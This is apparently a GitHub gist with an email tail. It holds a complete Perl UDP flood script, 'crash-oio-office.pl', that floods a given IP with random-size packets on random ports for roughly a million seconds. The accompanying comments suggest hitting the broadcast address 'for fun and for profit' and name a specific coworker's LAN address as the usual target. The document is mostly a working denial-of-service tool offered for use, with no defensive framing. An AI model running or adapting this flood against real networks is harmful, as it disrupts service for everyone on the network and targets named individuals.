crash the orchestra network

crash-oio-office.pl

#!/usr/bin/perl

##############
# udp flood.
##############

use Socket;
use strict;

my $argc = @ARGV + 1;

if ($argc <= 1) {
  print "crash-oio-office.pl <ip>\n\n";
  exit(1);
}

my ($ip) = @ARGV;

my ($iaddr,$endtime,$size,$port);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + 1000000;

socket(flood, PF_INET, SOCK_DGRAM, 17);

print "Crashing network and attacking $ip directly.\n";
print "Use ctrl+c to stop this hell.\n";

for (;time() <= $endtime;) {
    $size = int(rand(1024-64)+64);
    $port = int(rand(65500))+1;

    send(flood, pack("a$size","poopin"), 0, pack_sockaddr_in($port, $iaddr));
}

Maybe send to the broadcast address for fun and for profit?

I usually just use Ross's address: 192.168.2.28

…

On 20 Dec 2011, at 20:26, Noah Slater wrote: NEVER MIND, I WORKED IT OUT --- Reply to this email directly or view it on GitHub: https://gist.github.com/1502874